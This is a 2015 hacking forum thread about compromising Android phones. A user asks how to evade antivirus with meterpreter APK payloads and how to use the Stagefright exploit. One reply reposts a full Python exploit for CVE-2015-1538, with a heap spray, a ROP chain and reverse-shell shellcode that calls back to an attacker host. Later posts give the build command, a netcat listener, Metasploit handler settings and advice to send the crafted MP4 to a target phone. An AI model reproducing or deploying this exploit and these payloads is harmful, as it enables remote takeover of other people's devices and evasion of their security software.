r00stuff Posted September 13, 2015 Posted September 13, 2015 Hi, I have a great interest in computer security and research exploits and pen-testing techniques as a hobby. Recently I started looking into mobile devices. Android in specific because of the stagefright exploit that was recently released but I'm not an expert so I'm having trouble trying to use it. I usually use metasploit for my testing but not sure how to use the stagefright exploit with it. All I've been able to do so far is create an apk file with an android meterpreter payload and set up a multi handler listener in a vps so I can catch the connections. It works on some phones if it doesn't have any security on them but when they have lookout or some other anti-virus software it kills the sessions or doesn't allow them at all. I'm looking for a little help. Is there a way to encode the apk file so it doesn't get detected by the anti-virus software or another attack that should be more successful like embedding the payload on a web page? Also if anyone can point me in the right direction on how to use the stagefright exploit to create a meterpreter session I would appreciate it. Thanks, Quote
vailixi Posted September 14, 2015 Posted September 14, 2015 (edited) I'm not really a Python or Android guy. But I was reading about this yesterday. Here's a script that you can make the MP4 file. There are some options toward the end of the code. I made them red. I'm not even sure what -r and -s are. Anyway when I run this thing I get an error no module named mp4. So I'm guessing I don't have that library installed. Anyhow truth be told. I can't remember where I got this script from. I'm sure there will be a metasploit module for this pretty soon. -c I think is the same as LHOST -p LPORT -o is the name of the output file So I'm thinking you just start a listener then launch send the multimedia in a message and it connects back. #!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 'stsc' atom handling # # Don't forget, the output of "create_mp4" can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one... # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # "With great power comes great responsibility." - Uncle Ben # import struct import socket # # Creates a single MP4 atom - LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise 'Yo! They call it "FourCC" for a reason.' ret = struct.pack('>L', len(data) + 8) ret += tag ret += data return ret # # Make an 'stco' atom - Sample Table Chunk Offets # def make_stco(extra=''): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mNumChunkOffsets return make_chunk('stco', ret+extra) # # Make an 'stsz' atom - Sample Table Size # def make_stsz(extra=''): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mDefaultSampleSize ret += struct.pack('>L', 0) # mNumSampleSizes return make_chunk('stsz', ret+extra) # # Make an 'stts' atom - Sample Table Time-to-Sample # def make_stts(): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mTimeToSampleCount return make_chunk('stts', ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = '' ret += struct.pack('>L', start + 1) ret += struct.pack('>L', per) ret += struct.pack('>L', desc) return ret # # Make an 'stsc' chunk - Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack('>L', 0) # version/flags # this is the clean version... if not do_overflow: ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets ret += 'Z' * (12 * num_alloc) return make_chunk('stsc', ret) # now the explicit version. (trigger the bug) ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk('stsc', ret) # patch the data_size ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # """ (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} """ """ b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> """ def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = '' rop += struct.pack('<L', sp_addr + off + 0x10) # new sp rop += struct.pack('<L', 0xb0002a98) # new lr - pop {pc} rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned) rop += struct.pack('<L', 0x1000) # new r1 - length rop += struct.pack('<L', 7) # new r2 - protection rop += struct.pack('<L', 0xd000d003) # new r3 - scratch rop += struct.pack('<L', 0xd000d004) # new r4 - scratch rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack('<L', native_start) # address of native payload #rop += struct.pack('<L', 0xfeedfed5) # top of stack... # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) buf = '' # fork buf += '\x02\x70\xa0\xe3' buf += '\x00\x00\x00\xef' # continue if not parent... buf += '\x00\x00\x50\xe3' buf += '\x02\x00\x00\x0a' # exit parent buf += '\x00\x00\xa0\xe3' buf += '\x01\x70\xa0\xe3' buf += '\x00\x00\x00\xef' # setsid in child buf += '\x42\x70\xa0\xe3' buf += '\x00\x00\x00\xef' # socket/connect/dup2/dup2/dup2 buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c' buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60' buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0' buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1' buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06' buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00' buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0' buf += '\xe3\x00\x00\x00\xef' # execve(shell, argv, env) buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0' buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d' buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00' buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00' buf += '\xef\x02\x00' # Add the connect back host/port buf += struct.pack('!H', cb_port) cb_host = socket.inet_aton(cb_host) buf += struct.pack('=4s', cb_host) # shell - buf += '/system/bin/sh\x00\x00' # argv - buf += 'sh\x00\x00' # env - buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00' # Add some identifiable stuff, just in case something goes awry... rop_start_off = 0x34 x = rop_start_off + len(rop) while len(rop) < 0x80 - rop_start_off: rop += struct.pack('<L', 0xf0f00000+x) x += 4 # Add the native payload... rop += buf return rop # # Build an mp4 that exploits CVE-2015-1538 #1 # # We mimic meow.3gp here... # def create_mp4(sp_addr, newpc_val, cb_host, cb_port): chunks = [] # Build the MP4 header... ftyp = 'mp42' ftyp += struct.pack('>L', 0) ftyp += 'mp42' ftyp += 'isom' chunks.append(make_chunk('ftyp', ftyp)) # Note, this causes a few allocations... moov_data = '' moov_data += make_chunk('mvhd', struct.pack('>LL', 0, 0x41414141) + ('B' * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk('trak', make_chunk('stbl', make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) """ 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! """ page = '' off = 0 # the offset to the next object off += 8 page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource) page += struct.pack('<L', sp_addr + off) # mRefs off += 16 page += struct.pack('<L', 1) # mStrong page += struct.pack('<L', 0xc0dedbad) # mWeak page += struct.pack('<L', sp_addr + off) # mBase page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK) off += 8 page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused) off += 16 page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0 page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4 page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8 page += struct.pack('<L', newpc_val) # vtable entry 12 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) x = len(page) while len(page) < 4096: page += struct.pack('<L', 0xf0f00000+x) x += 4 off = 0x34 page = page[:off] + rop + page[off+len(rop):] spray = page * (((2*1024*1024) / len(page)) - 20) moov_data += make_chunk('tx3g', spray) block = 'A' * 0x1c bigger = 'B' * 0x40 udta = make_chunk('udta', make_chunk('meta', struct.pack('>L', 0) + make_chunk('ilst', make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) + make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) + make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) + make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) + make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ''.join([ '\x00', # version 'D' * 3, # padding 'E' * (5*4), # {c,m}time, id, ??, duration 'F' * 0x10, # ?? struct.pack('>LLLLLL', 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy 'G' * 0x14 ]) trak1 = '' trak1 += make_chunk('tkhd', tkhd1) mdhd1 = ''.join([ '\x00', # version 'D' * 0x17, # padding ]) mdia1 = '' mdia1 += make_chunk('mdhd', mdhd1) mdia1 += make_chunk('hdlr', 'F' * 0x3a) dinf1 = '' dinf1 += make_chunk('dref', 'H' * 0x14) minf1 = '' minf1 += make_chunk('smhd', 'G' * 0x08) minf1 += make_chunk('dinf', dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk('stbl', stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk('minf', minf1) # Add the mdia to the track trak1 += make_chunk('mdia', mdia1) # Add the nasty track to the moov data moov_data += make_chunk('trak', trak1) # Finalize the moov chunk moov = make_chunk('moov', moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ''.join(chunks) return data if __name__ == '__main__': import sys import mp4 import argparse def write_file(path, content): with open(path, 'wb') as f: f.write(content) def addr(sval): if sval.startswith('0x'): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7') parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345) parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None) parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None) parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4') args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(-1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file... data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print('[*] Saving crafted MP4 to %s ...' % args.output_file) write_file(args.output_file, data) Edited September 14, 2015 by vailixi Quote
vailixi Posted September 14, 2015 Posted September 14, 2015 (edited) Correction I renamed the script to mp4.py and was able to build the MP4 by running ./mp4.py -c 192.168.0.184 -p 1999 -o donkeypunch The payload is a modified linux/armle/shell_reverse_tcp according comments in the script. maybe open netcat with something like this nc -l -p 1999 Then send the message to the target phone. Maybe shell. Or not I think there are some other issues going on here. But I suck at hacking. I think the default memory address is associated with the hangouts app in this script. I could be wrong though. I'm wrong a lot. Let's see what someone a little smarter has to say about it. Edited September 14, 2015 by vailixi Quote
digininja Posted September 14, 2015 Posted September 14, 2015 The Stagefright stuff that has been released so far is very hardware and software version specific as it depends on fixed memory locations, there isn't a generic "exploit all" exploit out there. Unless you are running the exact hardware that exploit is written for and then running it on the right version of Android, then it won't do anything. If you want more info on this, check out the Risky Business podcast from about a month ago, they did a good piece on it that talked all about the limitations. Quote
r00stuff Posted September 16, 2015 Author Posted September 16, 2015 Thanks guys, I will check out the podcast. Quote
vailixi Posted September 18, 2015 Posted September 18, 2015 I hadn't thought of this. There are a bunch of stagefright vulnerability detector apps out there. I'm pretty sure all it does is loop through the memory addresses and tries to run a bit of code until it is successful. So finding source for stagefright vuln detector would be a big help. You could modify it then run in it on your phone to find the memrory location then craft a vuln for that phone easy squeezy. That's probably what the app developers are doing if they are smart. Anyhow then you create a bunch of specific exploits for each model of phone and android version. But you would still have to know the model of the phone you were trying to shell. Anyhow have any of you seen some source code for a stagefright vuln detector? Quote
0o0michael0o0 Posted September 20, 2015 Posted September 20, 2015 there is a payload in metasploit make apk and hack the android android/meterpreter/reverse_tcp Quote
vailixi Posted September 21, 2015 Posted September 21, 2015 0o0michael0o0,I tried creating an apk and installing it. I can put it on my apache web server for download. I can pass the thing through Google drive. I can install it on Android if change security settings to allow applications other than Google play. Then the thing installs just fine. I had problems with the multi/handler because it wanted to start on a default port. I generated the payload on the default port. 24000something. I can't remember the port number. That wasn't a big deal. The default listener didn't get a connection back from meterpreter. I tried just killing the process associated with the listener but it killed the rpc daemon. I set what I thought were the appropriate options LPORT to something like 8888 or other generic port but it keeps wanting to connect on the port the rpc daemon is running on which is really annoying. What am I doing wrong there? Is there a way to configure metasploit to start the default listener on a specific port? Quote
0o0michael0o0 Posted September 21, 2015 Posted September 21, 2015 use multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xx.xx.xx.xx set LPORT 24000 exploit -j make sure that u have the port 24000 open on your router and link it to ur internal ip address type in terminal nc -lvp 24000 and check if ur port is open throw this site http://www.canyouseeme.org/ if u get a connection from this site that means that all is good with u that shall work fine and if u want to use a dynamic dns https://community.rapid7.com/thread/4676 Quote
vailixi Posted September 22, 2015 Posted September 22, 2015 Sweet! I'm going to have to try that out. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.